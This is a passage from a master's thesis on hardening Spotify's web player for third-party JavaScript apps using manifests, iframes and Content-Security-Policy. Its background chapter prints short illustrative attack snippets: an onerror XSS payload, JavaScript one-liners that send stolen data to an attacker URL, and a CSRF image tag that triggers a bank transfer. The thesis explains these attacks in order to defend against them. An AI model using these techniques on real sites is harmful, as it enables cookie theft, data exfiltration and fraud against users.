Securing JavaScript applications within the Spotify web player

Säkra JavaScriptapplikationer i Spotifys webbspelare

FREDRIK GUSTAFSSON

Master’s Thesis at CSC
Supervisor: Sonja Buchegger
Examiner: Johan Hästad
Project Provider: Spotify AB
Spotify Supervisor: Gunnar Kreitz

TRITA xxx yyyy-nn
Abstract

Developing bug free software is extremely difficult and bugs in a web application can easily lead to security vulnerabilities.

Building APIs and opening up your platform has been proven to add a lot of business value and Spotify has recently released a JavaScript API that allows third party developers to develop applications for the Desktop based music player.

In this thesis we design new security mechanisms for Spotify’s web-based music player in order to make it more robust against attacks stemming from code injection and, potentially malicious, third party developers.

We do this by designing a secure way for transferring third party application metadata via untrusted JavaScript code and implementing the Content-Security-Policy, a relatively new web standard, for third party applications and the web player itself.

We then propose additions to the Content-Security-Policy web standard that could further improve the security of modern web applications.
Sammanfattning

Säkra JavaScriptapplikationer i Spotifys webbplatser

Att utveckla buggfria programvara är extremt svårt och buggar i en webbapplikation kan enkelt leda till säkerhetsluckor. Att bygga APIer och öppna upp sin plattform har tidigare visat sig lönsamt och Spotify har nyligen släppt ett JavaScript API som tillåter tredjepartsutvecklare att utveckla applikationer till dess Desktop-baserade musikspelare.

I detta examensarbete designar vi nya säkerhetsmekanismer för Spotifys webb-baserade musikspelare för att göra den mer robust mot attacker som kan uppstå från kodinjicering eller en, potentiellt illasinnad, tredjepartsutvecklare.

Vi uppnår detta genom att designa ett säkert sätt att förflytta metadata för tredjepartsapplikationer via opålitlig JavaScriptkod och genom att implementera den relativt nya webbstandarden Content-Security-Policy för både tredjepartsapplikationer såväl som webbplatsen själv.

Vi föreslår sedan tillägg till Content-Security-Policy-webbstandarden som kan höja säkerheten hos moderna webbapplikationer.
# Contents

## Introduction
1.1 About Spotify .............................................. 2
1.2 Thesis goals ................................................ 3
1.3 Methodology ................................................ 3

## System description
2.1 Spotify’s APIs ............................................. 5
2.2 Example of apps ............................................ 6
  2.2.1 Internal apps ............................................. 6
  2.2.2 Third party apps ........................................ 7
2.3 API implementation ........................................ 7
  2.3.1 Native desktop client .................................. 9
  2.3.2 Web player .............................................. 10
2.4 Spotify Apps platform Security ......................... 11
  2.4.1 Manifest ................................................ 12
  2.4.2 Approval process ...................................... 13
  2.4.3 Manifest enforcement ................................. 13
  2.4.4 App separation ......................................... 14
  2.4.5 Username obfuscation ............................... 14

## Background
3.1 Web security vulnerability overview ................... 15
  3.1.1 Code injection .......................................... 15
  3.1.2 Data leakage ........................................... 17
  3.1.3 Cross-Site Request Forgery .......................... 18
  3.1.4 Open redirects ......................................... 18
3.2 Content isolation ........................................... 19
  3.2.1 iFrames ................................................ 19
  3.2.2 Same-Origin Policy ................................. 19
  3.2.3 Cross-Origin interaction ............................ 20
<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Related work</td>
<td>22</td>
</tr>
<tr>
<td>4.1 Lightweight Self-Protecting JavaScript</td>
<td>22</td>
</tr>
<tr>
<td>4.2 Caja</td>
<td>22</td>
</tr>
<tr>
<td>4.3 HTML5 iFrame Sandbox</td>
<td>23</td>
</tr>
<tr>
<td>4.4 CSP</td>
<td>23</td>
</tr>
<tr>
<td>Design and implementation</td>
<td>25</td>
</tr>
<tr>
<td>5.1 Web player manifest distribution</td>
<td>25</td>
</tr>
<tr>
<td>5.2 Web player URL restrictions</td>
<td>29</td>
</tr>
<tr>
<td>5.2.1 Using JavaScript policy systems</td>
<td>29</td>
</tr>
<tr>
<td>5.2.2 Using Web standards</td>
<td>29</td>
</tr>
<tr>
<td>5.3 Limiting code injection attacks</td>
<td>31</td>
</tr>
<tr>
<td>5.3.1 Migrating inline JavaScript</td>
<td>32</td>
</tr>
<tr>
<td>Security evaluation</td>
<td>35</td>
</tr>
<tr>
<td>6.1 Attacks on the Content-Security-Policy</td>
<td>36</td>
</tr>
<tr>
<td>Discussion</td>
<td>40</td>
</tr>
<tr>
<td>7.1 Additions to web standards</td>
<td>40</td>
</tr>
<tr>
<td>7.2 Legacy support</td>
<td>42</td>
</tr>
<tr>
<td>7.3 Conclusion</td>
<td>42</td>
</tr>
<tr>
<td>Bibliography</td>
<td>44</td>
</tr>
<tr>
<td>Term</td>
<td>Definition</td>
</tr>
<tr>
<td>--------</td>
<td>------------------------------------------------</td>
</tr>
<tr>
<td>CEF</td>
<td>Chromium Embedded Framework</td>
</tr>
<tr>
<td>CORS</td>
<td>Cross-Origin Resource Sharing</td>
</tr>
<tr>
<td>CSP</td>
<td>Content Security Policy</td>
</tr>
<tr>
<td>CSRF</td>
<td>Cross-Site Request Forgery</td>
</tr>
<tr>
<td>DOM</td>
<td>Document Object Model</td>
</tr>
<tr>
<td>JSON</td>
<td>Javascript Object Notation</td>
</tr>
<tr>
<td>SLD</td>
<td>Second Level Domain</td>
</tr>
<tr>
<td>SOP</td>
<td>Same-Origin Policy</td>
</tr>
<tr>
<td>XSS</td>
<td>Cross-Site Scripting</td>
</tr>
</tbody>
</table>
Chapter 1

Introduction

Spotify is an on-demand streaming music service. It allows over 24 million monthly active users to gain access to an online music library containing more than 20 million tracks [24].

Building APIs and opening up your platform has been proven to add a lot of business value [10] to companies like Twitter and Facebook among others and Spotify has not long ago released a JavaScript API that opens up for third parties to develop applications. Once an application is submitted and approved, it is almost instantly available in the Spotify desktop player.

This JavaScript API was also then also used internally by Spotify for building parts of the recently launched Spotify web player, a player that bring the listening experience from the desktop player application to the web browser. The web player does, however, not yet support third party applications and does not have the security mechanisms in place that the desktop player has.

The goal of this thesis is to design and implement these security mechanisms to be used to securely and scalable integrate third party JavaScript applications within the Spotify web player. Some of the work involves re-designing security features that are already present in the desktop player to be compatible with a standard web browser.

We implement a secure way to distribute metadata from a Spotify domain to trusted code via untrusted code, using public key cryptography. We also use Content Security Policy (CSP) to reduce the impact of Cross-Site Scripting (XSS) vulnerabilities, show what modifications are needed to the web player architecture because of it and use it to limit the external domains an application is allowed to contact.

This master’s thesis is written at Spotify where the author, before and during the time of writing, was employed.

In this section we briefly describe what Spotify is and the goals of this thesis. In section 2 we go through the Spotify architecture and show the existing security features within. The reader is then introduced to basic web security in section 3. Section 4 shows some current frameworks allowing a developer to apply stricter-than-default security on web applications in a standard web browser. Sec-
CHAPTER 1. INTRODUCTION

Section 5 shows design and implementation of the proposed security mechanisms for the Spotify web player. An evaluation of the security will be performed in section 6 where we use state of the art attack vectors to exploit the implemented security mechanisms. This is followed by a discussion in section 7.

1.1 About Spotify

The service is available as a native application on PCs running Windows, Mac and Linux as well as on mobile phone operating systems such as Android, iOS and Blackberry. Spotify is also available inside hardware devices such as stereo amplifiers, speakers and set-top-boxes. Spotify also recently released the service as a web application compatible with all major web browsers. This allows access to the service for users who are using unsupported versions of Linux or enterprise computers where the user is not allowed to install software.

![Spotify subscription models](image)

Figure 1.1. Spotify subscription models

The service is available as a free version as well as two different subscription services. The free version is ad-supported and available on desktop computers only, except in the U.S. where users may access the mobile radio. An unlimited subscription allows ad-free playback of music on the desktop client. A premium subscription allows mobile access as well as higher music quality, offline sync, and is ad-free.

The native desktop and mobile clients use a proprietary protocol to communicate with Spotify’s backend. The backend is made up of many small services that are all accessed through the client’s connection to the access point that routes the client’s messages to the correct backend service. The web player, however, cannot implement the same proprietary protocol because the browser does not provide raw access to sockets. Instead it uses WebSockets or RTMP to communicate with the access point.
CHAPTER 1. INTRODUCTION

WebSocket is a proposed internet standard [11] for persistent two-way communication using JavaScript. RTMP is Adobe's Real Time Messaging Protocol [23], which is available in Adobe Flash also to enable enable two-way communication. RTMP is used by the web player in browsers that do not support WebSockets.

1.2 Thesis goals

The goal of this thesis is to analyze the current security model used for third party applications in the native desktop client and to apply a similar model in the web player in a secure way. The main goals of the implemented mechanism(s) are to

- Limit the external resources the application is allowed to connect to based on a predefined set.
- Limit API access according to a predefined set of permission levels.
- Limit the impact of an XSS attack.

The first two goals are security mechanisms already available in the desktop client, which are originally designed by engineers at Spotify including the author. The design of these mechanisms could not be directly applied in a web browser and new designs were constructed. The last goal was chosen because it is the most common client-side web browser vulnerability on the Open Web Application Security Projects top 10 2013 list [25]. This kind of added protection against XSS is not part of the security mechanisms within the desktop client.

While the thesis describes the implementation in the Spotify web player, the techniques are generic for embedding third party content on the web.

1.3 Methodology

We start out by identifying which security measures are present in the Spotify desktop player. The web security landscape is then researched to identify the most common attacks in the wild and to what extent they are applicable to the Spotify web player. The goals are then modeled from both the security measures already done within the desktop player and the new threats arising from being hosted within a browser.

Since the desktop player has full control of the underlying browser instance and a web page within a standard browser does not, the security mechanisms used in the desktop player had to be re-designed to provide equivalent functionality within the web player. To provide this functionality we look at already existing mechanisms that enable us to harden the security within a browser. Gunnar Kreitz, this thesis' supervisor, suggested to look at web security research done at Chalmers University of Technology, in particular one paper by Magazinius et.al. [18]. This paper mentions other related work with other mechanisms such as Google Caja.
CHAPTER 1. INTRODUCTION

Searching online, other approaches were also found, e.g., the up-and-coming Content Security Policy (CSP) standard. The identified mechanisms were then evaluated according to the requirements shown in section 5.

While the web player does not have any third party applications available at the time of writing, essentially all user-facing components in the web player is built as internal applications using the same JavaScript API as the third party applications uses in the desktop client. In order to perform testing, an internal application is chosen to be modified to be susceptible to XSS attacks. The robustness of the chosen approach is then tested using state of the art attack vectors.
Chapter 2

System description

In this section we describe the Spotify service and in particular the integration of applications, from here on called apps, in the system. We start out with the need for apps and how they were integrated in older architectures. We then proceed to the newer style of apps and how they are implemented in the desktop client and web player. We then present current security features that are implemented in the desktop client for hosting third party apps.

2.1 Spotify’s APIs

In late spring 2009 Spotify opened up the platform to external app development through the release of libspotify [19], a C library on which developers gained access to the Spotify platform through an extensive C API. The C API provided functionality such as logging in, searching, playlist management and music playback. It did, however, not provide any graphical components and leaves the design of a user interface completely to the developer. SpotOn, a Spotify-based radio app based on a seed artist of the user’s choice is one example of an application built using libspotify. Many third party hardware integrations are also built upon libspotify.

JavaScript API

To make Spotify’s platform more open to developers, especially the fast-growing web-developer community, Spotify released a desktop client [9] capable of hosting third party apps written in HTML5 and JavaScript by embedding a Chromium-based browser using Chromium Embedded Framework (CEF) [13]. Chromium is a project founded by Google that acts as a core component in systems that wish to render HTML and execute JavaScript. It is open source and is used by both Google Chrome and its incarnation as an operating system, the Chrome OS.

The new Spotify Apps platform and its JavaScript API (also referred to as simply the API from here on) engaged many third party app developers and there are currently more than 100 third party apps available in the desktop client’s App
CHAPTER 2. SYSTEM DESCRIPTION

finder. One example is Tunigo, a playlist sharing app; another is TuneWiki, an app providing lyrics in sync to the track you are listening to.

Another benefit of the Apps platform was that Spotify could move from being a monolithic application towards becoming highly modularized by rewriting the user interface and logic as internal apps utilizing the very same JavaScript API as the third party apps. Because the fast growth of the Spotify engineering team the modularization of the client, as well as the engineering team, made development easier and faster [17].

When Spotify built the new web player, released in early 2013, Spotify used the internal apps already built in JavaScript using the JavaScript API for the native desktop client. This also meant that the development team for a certain internal app (for examples see section 2.2.1) could be responsible for its development across clients and platforms.

2.2 Example of apps

To better understand what an app is this section shows examples of their functionality and what they require by the API and the client hosting it. Figure 2.2 shows the desktop client with four internal apps highlighted.

2.2.1 Internal apps

Discover

The Discover app is, like all internal apps, built by its own dedicated development team and allows the user to find new music. The app provides the user with suggestions of new artists, albums, tracks and more based on data such as previous music played [6].

The Discover app gets its recommendations from big data analysis, which is done in the Spotify backend. To retrieve the results from the analysis the app uses a restricted part of the JavaScript API to communicate with the apps backend servers (further explained in section 2.4.1).

Search

The Search app provides the search result view to a user’s search query. The app uses non-restricted API calls to retrieve search results and display them. The API also provides functionality for a user to add a song from the results to a playlist, play it or share it to Facebook, Twitter or another Spotify user.

The app also provide a visual indication of which track is currently playing. This requires the JavaScript API to publish events on when a new song is playing so that the view can update the location of the visual indicator.
CHAPTER 2. SYSTEM DESCRIPTION

2.2.2 Third party apps

**Soundrop**

Soundrop is a “social jukebox app”, which enables users to create “rooms” where anyone can join, add music and vote for already added music. Within a room all users’ music will stay in sync with one another’s and the next track played is the one with the most votes. After a track has been played, its votes are reset.

In order to keep users in a room in sync, Soundrop uses WebSockets to establish a persistent connection to their backend, which is used to publish information regarding track change and time sync information.

**musiXmatch**

musiXmatch is an app for displaying song lyrics synced in time with the playing music. The app receives event callbacks from the API in order to highlight the current song lyric in the current track. The song lyric data is fetched using a call to musiXmatch’s own backend.

2.3 API implementation

When the Spotify Apps API was first built for the desktop client the API was exposed from native C++ code using CEF. This turned out to be a problem as the API was to be ported to new platforms. The entire API had to be implemented all over again for any new platforms that could not use CEF and share the desktop player’s API code.

The Spotify Apps API was then rebuilt to consist of two separate layers to increase code reuse. The first layer, the bridge, is used to create an abstraction of the underlying platform core. The second, higher level, layer called the API frameworks interacts with the bridge.
The bridge layer effectively acts as a communications channel between the JavaScript API and the platform core by exposing a bridge API. The bridge API uses clearly defined semantics with a request-response message exchange pattern for communication and it is up to every platform core to implement the bridge. Which communication technology the bridge uses is highly dependent on the capabilities available on the core’s underlying platform.

The platform core is then responsible for making the backend requests needed to fulfill the bridge’s requests. Table 2.1 summarizes the communication technologies used in the platforms supporting the JavaScript API; subsequent sections explains the native client and the web player while skipping iOS and Android since they are outside the scope of this thesis.

<table>
<thead>
<tr>
<th>Platform core</th>
<th>Backend</th>
<th>Bridge</th>
</tr>
</thead>
<tbody>
<tr>
<td>Native client</td>
<td>Proprietary</td>
<td>CEF injected objects</td>
</tr>
<tr>
<td>Web player</td>
<td>WebSocket/RTMP</td>
<td>postMessage</td>
</tr>
<tr>
<td>iOS/Android</td>
<td>Proprietary</td>
<td>WebSocket</td>
</tr>
</tbody>
</table>

Table 2.1. Communication technologies used by the different platform cores

The framework containing the app developer facing APIs was built to be fully platform independent. This goal was not fully achieved because of the introduction of the Apps platform to mobile platforms that have slightly different requirements such as the views. The views are graphical user interface components built into the API to give a consistent look and user experience between apps developed internally and by third parties.

Another problem that needs to be addressed is how an app is transferred to and loaded in the Spotify clients. An app consists of HTML and JavaScript as well as other resources such as CSS and images. Web browsers are built to handle that but in the native desktop client it is not as trivial.
CHAPTER 2. SYSTEM DESCRIPTION

2.3.1 Native desktop client

The native desktop clients use CEF to host HTML5 and JavaScript apps. CEF makes the underlying browser very customizable and allows the desktop client to map custom scheme handlers and enforce policies on any JavaScript call and resource load.

![Image](image.png)

**Figure 2.2.** The native desktop client with JavaScript app-hosting CEF-views highlighted

Historically all views in the native desktop client were written in pure C++. Since the launch of the JavaScript API and the introduction of internal apps, the client is made up of a mix of web views and non-web views.

Figure 2.2 shows some of the views available as web views. The process described below is only used to load the web-views while the non-web views remain implemented in C++.

Distribution

In the app installation process it is important that the client can verify that the retrieved app has not been tampered with, e.g., through a man-in-the-middle attack. When accessing an app that has not previously been downloaded, the native client retrieves a URL for a compressed container of the app and its hash (SHA-1), used to verify the integrity of the container. This request is made over the previously established secure proprietary communication channel to the Spotify backend but to lower the bandwidth in Spotify’s data centers the URLs to the compressed container points to a content distribution network where the integrity of the content is outside Spotify’s control. The container is then downloaded from the content distribution network.
network and the hash is verified before it is stored in an encrypted internal storage and made available to the end user.

**App loading**

The client loads all apps from a local storage and maps it to a custom URL scheme, `sp://`. This scheme can then be translated on the fly to point to access internal resources available in the app bundles.

**API bridge**

CEF gives the platform core the ability to inject JavaScript objects into the global JavaScript scope called `window`. This is used to expose a custom Spotify object which handles bridge API calls from the API frameworks and thus providing access to the platform core, allowing for playback control, playlist handling and event broadcasting.

### 2.3.2 Web player

The web player is built a little different from traditional web pages in order to make it feel more like an application rather than a web page. When the user visits the web player, the main application logic: the platform core and the bridge, is loaded inside the main frame called the `Chrome` (not to be confused with the Google Chrome web browser which in this thesis will be referred to by its full name). The Chrome application logic then dynamically creates iFrames for each application needed for the view to be presented. What view is presented depends on the URL that is
CHAPTER 2. SYSTEM DESCRIPTION

supplied but not in the traditional sense of a web page, because the content of the page for a specified URL is not prepared by the backend but instead generated by the Chrome’s application logic.

**App loading**

When an app is to be loaded, the Chrome’s application logic dynamically creates a new iFrame and push a new URL on to the history stack in order make standard web browser navigation, such as the back button, work as expected. This new iFrame then loads the application over HTTPS from the Application web server, a backend server used to generate the app’s resources by reading the application’s bundle from disk and injecting its dependencies, such as the API and the views framework.

**API Bridge**

Since every app is hosted inside an iFrame the web player utilizes HTML5 postMessage (see section 3.2.3) functionality to post commands from the API to the bridge inside the Chrome. The bridge then uses the platform core to communicate with the Spotify backend using WebSockets in browsers that support it and Adobe Flash’s Real-Time Messaging Protocol as a fallback for browsers that do not.

### 2.4 Spotify Apps platform Security

When the Spotify Apps platform was designed for the desktop client it was built to be able to host both internal and third party apps, but the two have slightly different requirements. The internal apps sometimes need access to more information with fewer restrictions than third party apps.

This section describes some of the security features used to apply restrictions in the Spotify Apps platform, their implementation in the native client where they already exist. Below is a short overview of the process for a third party app developer to get her app published within the Spotify App ecosystem.

1. A developer submits an app concept to Spotify, which has to be approved before Spotify allow developers to get feedback from Spotify’s App Quality team.

2. The developer develops the app and creates a file, called a manifest, containing information about the app (see section 2.4.1).

3. The developer iterates the app with Spotify’s App Quality team until it is approved (see section 2.4.2).

4. The app is released within the Spotify’s ecosystem, currently desktop client only, where end-users get access to it (see section 2.3.1).
CHAPTER 2. SYSTEM DESCRIPTION

2.4.1 Manifest

To allow for apps to have different access levels and other meta-information a file called the manifest containing a Javascript Object Notation (JSON) structure was specified. When developing an app the developer must supply this manifest, which is then bundled with the app and later reviewed in an approval process (see section 2.4.2). The manifest contains, among other things: the apps name, which languages it is translated to and a list of its dependencies; but also a list of external URLs the app is allowed to interact with as well as a list of permission levels which control how much of the JavaScript API the app is allowed to use.

Permission levels

Because Spotify builds new features, and ports old ones, into internal apps using the very same API as third party apps, the manifest contains a permission level object with the key `ApiPermissions` which contains a JSON array with the access levels for different parts of the JavaScript API. This is needed because the internally built apps need greater access to the Spotify backend and the client’s internal data, e.g., the Discover app described in 2.2.1.

```json
"ApiPermissions": {
    "core": [
        "private"
    ],
    "social": [
        "private"
    ]
},
```

**Figure 2.4.** Example snippet of ApiPermissions

If no ApiPermissions are specified in the manifest, the value defaults to `public` for all parts of the API.

Domain access control

While the name is a little misleading, the `RequiredPermissions` flag in the JSON specifies a whitelist of URLs that the client is allowed to connect to.
CHAPTER 2. SYSTEM DESCRIPTION

"RequiredPermissions": [
    "https://developer.echonest.com/",
    "http://developer.echonest.com/",
    "https://graph.facebook.com/",
    "http://1.2.3.4/
    "http://*.fbcdn.net/
],

Figure 2.5. Example snippet of RequiredPermissions

Figure 2.5 shows an example of the RequiredPermissions part of the manifest. To minimize the risk of man-in-the-middle attacks HTTPS is highly recommended in Spotify’s developer guidelines. With the introduction of the web player and its API this recommendation has become a requirement since a non-secure resource would show a security warning in modern browsers that could lead to a bad user experience.

2.4.2 Approval process

If a developer could specify whatever permission they wanted, the manifest would provide no added security. This is part of the reason why all apps are submitted to Spotify for approval before being released.

The approval process is in place to ensure the quality of the apps. A team of testers employed at Spotify receives the apps to look for divergence from the developer guidelines and broken functionality. A security screening is also part of this approval process and includes looking for misconfigurations in the app’s manifest (see section 2.4.1) and a manual screening for code injection vulnerabilities (see section 3.1.1).

2.4.3 Manifest enforcement

After approval it is important that the client hosting the app is able to enforce the policies declared in the manifest.

The native client can enforce all policies specified in the manifest using CEF (see section 2.1) which gives the native client full control of the underlying browser implementation. In particular all outgoing requests can be intercepted and all JavaScript calls to the bridge can, by using a mapping between the internal browser instance and the manifest, be appropriately restricted.

The web player has yet to accept third party apps and currently no solution is in place for manifest enforcement. The entire API and bridge is implemented in JavaScript, which does not provide the same low-level control over the browser that CEF does in the native client and cannot enforce security in the same way. In section 5.1 we develop a secure way to distribute and enforce the manifest within the web player.
CHAPTER 2. SYSTEM DESCRIPTION

2.4.4 App separation

To protect the user from tracking, all apps must be separated so that they do not share cookie jar or other storage such as HTML5 local storage. To do this the Spotify client leverages the Same-Origin Policy (SOP) (see section 3.2.2) by generating a unique domain for all (username, app-name) tuples. The native Spotify client uses the \texttt{sp} protocol and domain \texttt{anonid.appname} as an origin, where \texttt{appname} is the apps name and \texttt{anonid} is an anonymized identifier built by creating a HMAC of the username concatenated with the app name.

The web player uses URLs on the format \texttt{https://anonid-appname.spapps.co/}. The reason for including the app name in the anonymized identifier is to limit cross app tracking of the user, while still allowing the app to store user-specific data.

Since SOP is a web standard, this works in the web player just as it does in the native client.

2.4.5 Username obfuscation

Spotify has since its launch used a custom URL scheme to identify resources such as users, playlists, artists and tracks. A URL to a playlist by user \texttt{someusername} could for example look like

\texttt{spotify:someusername:playlist:playlistuuid}.

When the API was introduced this lead to problems because Spotify did not want to leak the logged in user’s username for privacy and legal reasons. Due to this, the username used in URLs was removed and replaced by an “@” for all third party apps while internal apps may specify an override in the manifest.
Chapter 3

Background

This section provides the reader with background in web security and how the described vulnerabilities relate to the Spotify Apps platform. It is a brief introduction to the web security field; the interested reader could read more in depth in a recent book by Zalewski [30]. The web security vulnerabilities discussed in this section are the client-side vulnerabilities from the Open Web Application Security Projects top 10 2013 list [25], i.e., Cross Site Scripting, Sensitive Data Exposure, Cross Site Request Forgery, and Unvalidated Redirects and Forwards.

3.1 Web security vulnerability overview

We begin our discussion with an overview of two very prominent attack vectors as well as the threat of data stealing and move on to describe another attack vector commonly found in web applications.

3.1.1 Code injection

Code injection, often called Cross-Site Scripting (XSS), can occur when dynamically created HTML includes external content that does not get properly validated and/or escaped by the application logic. Since HTML allows for JavaScript to be included “inline”, a malicious user that is able to inject an arbitrary string could inject JavaScript code.

Because the standard term, cross-site scripting, hints that the issue refers only to cross-domain interaction this report will refer to it as code injection.

The vulnerability is very commonly found in online applications and is number three on the Open Web Application Security Projects top 10 2013 list [25]. A simple example could be a website that pre-fills a form field from user-controlled input (see figure 3.1):
By tricking a user into clicking a link pointing to the vulnerable page like

```html
http://trust.se/newssnippet?snippet="\nbad_javascript_call()
```

without proper validation or escaping the web server would respond with

```html
<img src='errpath' onerror='bad_call()'
```

In the last code snippet, the query parameter includes an image element with a
bogus source path. This will make the browser execute the `onerror` handler, where
`bad_javascript_call()` could potentially have a malicious impact. One common attack
utilizing a code injection vulnerability is to steal an authenticated users’ session
cookie, which would let the attacker to act on the users behalf with her privileges.
This attack is possible because JavaScript can access the cookies associated with
the site running the code.

It could be even more devastating in a scenario where the vulnerable injected
content is stored in a backend database and later shown to other users. An example
within Spotify could be an app that displays playlists and their names without
properly escaping them. A malicious user could craft a JavaScript exploit that
spreads to other users just by them visiting a page showing another users playlist with a malicious name. This exploit could then cause the victim to add a playlist containing the exploit to her account thus automatically propagating. This type of exploitation is commonly referred to as a computer worm. The Samy worm is one example of a code-injection attack used to build a worm. The attack was targeted on the social networking site MySpace in 2005, infecting more than 1 million users in less than 24 hours [22].

**DOM-based code injection**  In the classic example presented above the attack is possible because a web server is generating the content that is evaluated by the user’s browser. In the case of Spotify the app and all its resources have already passed the approval process described in section 2.4.2 and is not served from a common web server. Thus, the classic attack is not immediately applicable in our scenario. Code injection can, however, also happen when JavaScript is used to generate content from a fragment identifier, query string or a backend request using e.g., an XMLHttpRequest. XMLHttpRequest is a way to dynamically load content from a specified URL using JavaScript and providing access to that content’s raw data.

```javascript
element.innerHTML = 'Song title: ' + user_supplied;
```

The innerHTML property make it possible to dynamically supply new HTML which will be parsed and executed by the browser as if it came from the server in the initial response. The `user_supplied` variable could contain data similar to classic cross-site scripting:

```html
<img src='x' onerror='bad_call()' />
```

**3.1.2 Data leakage**

To an attacker who gained access to sensitive data through e.g., a code injection vulnerability a logical next step would be to exfiltrate that information. This is most commonly done by loading a remote URL, hosted at a malicious server, with the sensitive data as HTTP GET parameters. There are many ways to get the browser to connect to an arbitrary URL, a few examples are:

1. Utilizing the `Image` JavaScript class
   ```javascript
   (new Image()).src = url;
   ```

2. Referencing the Document Object Model (DOM) in the existing document
   ```javascript
   document.getElementById('img_element').src = url;
   ```

3. Using `XMLHttpRequest`
   ```javascript
   var x = new XMLHttpRequest(); x.open('GET', url); x.send();
   ```
The server controlled by the attacker at the endpoint URL could then store the sensitive data to a database or transfer it directly to the attacker e.g., using email. If the policy specified in the manifest, described in section 2.4.1, can be fully enforced it would effectively prevent exfiltration of data since the malicious server could not be accessed by the attack payload.

3.1.3 Cross-Site Request Forgery

Cross-Site Request Forgery (CSRF) is another common attack used on the web [25]. If a user is authenticated using a cookie on a legitimate site then that site is vulnerable to CSRF if it has an endpoint URL that is state changing. A state changing endpoint means a URL that will change some backend state, e.g., transfer money or change the user’s password.

If another malicious site was to include a resource from a vulnerable legitimate domain, e.g., an image or iFrame, from the vulnerable site the authentication cookie would be sent as well and the state changing action would be performed. Imagine a page on the domain evil.com including another cookie-authenticated external resource from bank.com such as

\[
\text{\scriptsize \texttt{<img src=\"http://bank.com?transfer=9001\&to=eviluser\"/>}}
\]

This would cause the browser of a user visiting evil.com to attempt to fetch an image from the indicated URL. The request would include bank.com’s cookies, including the authentication information, and the transfer action would go through.

To make a site secure, the backend receiving the request from the state changing endpoint URL must validate that the logged in user actually was the one initiating the request. One way is forcing the logged in user to re-authenticate, of course this requires the user to enter her password every time she wants to make a state change. State changes on web pages are commonly done using a HTML form. Another way of making a site secure is for the backend to generate and embed a “CSRF token” into a hidden field within this form. This token is stored by the backend and when the form is submitted it is included in the outgoing request by the browser. When the backend receives the request, it can match the token to the one it stored when generating the form.

The Spotify Apps platform could potentially be vulnerable because it allows arguments to be passed into the apps using the URL. Spotify’s developer guidelines, however, state that these arguments must not be state changing.

3.1.4 Open redirects

An open redirect is when a page on a trusted domain redirects the visiting user to a user-controlled domain without any restrictions. If a redirection to evil.com would occur when visiting the URL below, trusted.se/redirect is susceptible to open redirects.
CHAPTER 3. BACKGROUND

http://trusted.se/redirect?url=evil.com

Open redirects are usually not dangerous by themselves but can in some scenarios make an otherwise unexploitable vulnerability into a serious security issue. We will in section 7 describe such a scenario.

3.2 Content isolation

This section discusses web standards for content isolation, a way to limit from where a web page may request data, and several methods for cross-origin interaction, secure ways to remove certain of these limits for consenting domains.

3.2.1 iFrames

The HTML5 standard describes the iFrame element as an “element [that] represents a nested browsing context” [16], basically a way for a page to embed another page. This embedded page can be loaded from any URL, which is one reason iFrames are commonly used to combine cross-domain content. The Facebook like-button is one example where iFrames are used in such purposes.

3.2.2 Same-Origin Policy

The Same-Origin Policy (SOP) was invented to provide a way for web browsers to isolate content retrieved from different parties [2]. The SOP is a standard that describes a way to compare two origins in order to determine if they belong to the same “security context”. The security context governs whether the parties are allowed to “interact freely”.

In the case of iFrames this interaction mean that a page with a nested child iFrame cannot access its DOM and vice versa, which would have been possible if they were from the same origin. In the case of XMLHttpRequests, SOP would deny JavaScript to fetch any resource that is not the same origin.

While iFrames do apply SOP, they do not protect the top context from other, potentially malicious, actions such as top-level navigation. Top-level navigation allows an iFrame to change the top-most parent’s address, thus navigating the whole browser context to a new URL.

SOP is also used to limit which cookies are accessible from JavaScript, a limit which is very important to web applications which use cookies to e.g., maintain an authenticated session. Without SOP a malicious web page could steal the browsing user’s session cookie for any other domain. With SOP a malicious adversary has to find a code-injection vulnerability and trick a user to run the exploit, effectively running code inside the vulnerable domain’s security context, in order to gain access that domain’s cookies.

The origin comparison is essentially done by comparing the two parties (scheme, host, port)-tuples and see if they are completely matching.
CHAPTER 3. BACKGROUND

3.2.3 Cross-Origin interaction

The SOP standard puts heavy restrictions on interactions between two parties from different origins and while it provides added security it also prevented some legitimate use cases. Below are mechanisms built to securely allow cross-origin interaction.

JSONP  JSONP, JSON with Padding, is a mechanism that leverages the fact that the SOP standard does not apply to external resources that can be interpreted, by the browser, as valid JavaScript. To enable origin A to get data from origin B, origin A would include a script element with the source set to a special endpoint at origin B commonly with a callback as a parameter. That endpoint would respond with a valid JavaScript containing a call to the function with the name specified by the callback parameter with the data requested by A as the argument. As an example origin A could include the following:

```html
<script src="http://B.se/jsonp?callback=fooBar"></script>
```

to which origin B would generate a response in the form of:

```javascript
fooBar({"data": "baz"})
```

The function fooBar would be called and origin A could use the data within its security context.

Cross-Origin Resource Sharing  Cross-Origin Resource Sharing (CORS) is a web standard that defines a way for a resource to opt-in and allow access coming from another, or all, origins and effectively bypass SOP. The standard was made to standardize and improve the security of cross-origin resource sharing while replacing JSONP.

The CORS standard defines a set of new HTTP response headers that are meant to be interpreted by the web browser. Below is an excerpt from the Spotify Metadata API’s HTTP response headers that enables any origin to retrieve information from it using the Access-Control-Allow-Origin header.

```
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 04 Jun 2013 09:01:14 GMT
Content-Type: application/xml; charset=utf-8
Content-Length: 66389
Access-Control-Allow-Origin: *
```

The above header would allow any domain (*) to retrieve the data provided by it using e.g., an XMLHttpRequest.
document.domain  The SOP standard will also restrict interaction between different subdomains even though they share the same Second Level Domain (SLD), i.e., the “spotify” in “www.spotify.com”. The HTML5 standard provides [16, sec. 5.3.1] a way to relax the SOP by, using JavaScript, setting the document.domain. If two resources from different subdomains to a common SLD set their document.domain to the SLD, they are permitted to interact under the rules of SOP.

postMessage  The HTML5 standard provides [15] another way to do cross-origin inter-frame messaging using a JavaScript API. The API allows a frame to set up a listener for messages as well as a method for posting messaging to other frames. The browser forwards the message to the message listener and adds information about the origin from which the message originated. This way the message listener can apply security checks based on the origin of the message.
Chapter 4

Related work

This section presents two policy systems built to be used without iFrames and two web standard drafts that can be used to apply stricter security on iFrames and their content. The reason for looking at these is to determine whether they can be used to develop the mechanisms needed to reach the goals of this thesis.

4.1 Lightweight Self-Protecting JavaScript

One interesting approach described by Magazinius et.al. [18] is to use reference monitors [1] and enforcing them using aspect-oriented programming. This works by having a script loaded in the beginning of page load that replace native JavaScript functions with proxy functions that can apply policies during runtime.

